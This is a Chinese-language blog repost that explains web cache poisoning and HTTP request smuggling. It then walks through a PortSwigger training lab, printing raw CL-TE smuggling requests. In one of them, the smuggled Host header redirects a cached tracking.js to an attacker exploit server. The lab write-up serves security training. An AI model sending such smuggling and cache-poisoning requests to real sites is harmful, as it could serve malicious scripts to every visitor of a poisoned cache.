Http-Sumggling-缓存漏洞

admin 2022年8月7日00:39:40评论32 views字数 2406阅读8分1秒阅读模式
点击蓝字
Http-Sumggling-缓存漏洞
关注我们

http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看
在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。
什么是Web缓存
WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。
缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有
•后端程序缓存
•服务器缓存
•浏览器缓存
•缓存服务器
•CDN缓存
最常见的无疑就是CDN及其类似的缓存服务器
而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念

Http-Sumggling-缓存漏洞


什么是web缓存漏洞

如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷

这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了

Http-Sumggling-缓存漏洞


如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存投毒
Http Sumggling
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的
一般可分为以下几种
•CL: Content-Length
•TE: Transfer-Encoding
•CL不为0的GET请求
•CL-CL
•CL-TE
•TE-CL
•TE-TE
mengchen@知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述
https://paper.seebug.org/1048/#35-te-te
Http Sumggling 缓存漏洞
靶场
依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场
解法
判断是否存在走私,确定为CL-TE


POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10
x=1

第一次请求为


POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked

Http-Sumggling-缓存漏洞


第二次请求为下半段

GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10
x=1

Http-Sumggling-缓存漏洞


可以看到存在302跳转
然后我们需要找到哪里进行缓存投毒,这里我以/resources/js/tracking.js进行投du

Http-Sumggling-缓存漏洞


Http-Sumggling-缓存漏洞


可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存投du
•先点击send post包

 POST / HTTP/1.1Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 195Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/Content-Type: application/x-www-form-urlencodedContent-Length: 10
x=1
 访问到第一部分

 Http-Sumggling-缓存漏洞

 

•然后在/resources/js/tracking.js send包

 Http-Sumggling-缓存漏洞

 

 可以发现成功投du,缓存键为miss,那下一个包应该就可以成功转接到exploit上,我们试试
•对原界面进行抓包,多试几次

 Http-Sumggling-缓存漏洞

 

 发现host成功变为我们的exploit
后言
漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志
参考
https://xz.aliyun.com/t/6878
https://paper.seebug.org/1048/

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

Http-Sumggling-缓存漏洞
靶场实操,戳“阅读原文

原文始发于微信公众号(合天网安实验室):Http-Sumggling-缓存漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月7日00:39:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Http-Sumggling-缓存漏洞https://cn-sec.com/archives/1222198.html

发表评论

匿名网友 填写信息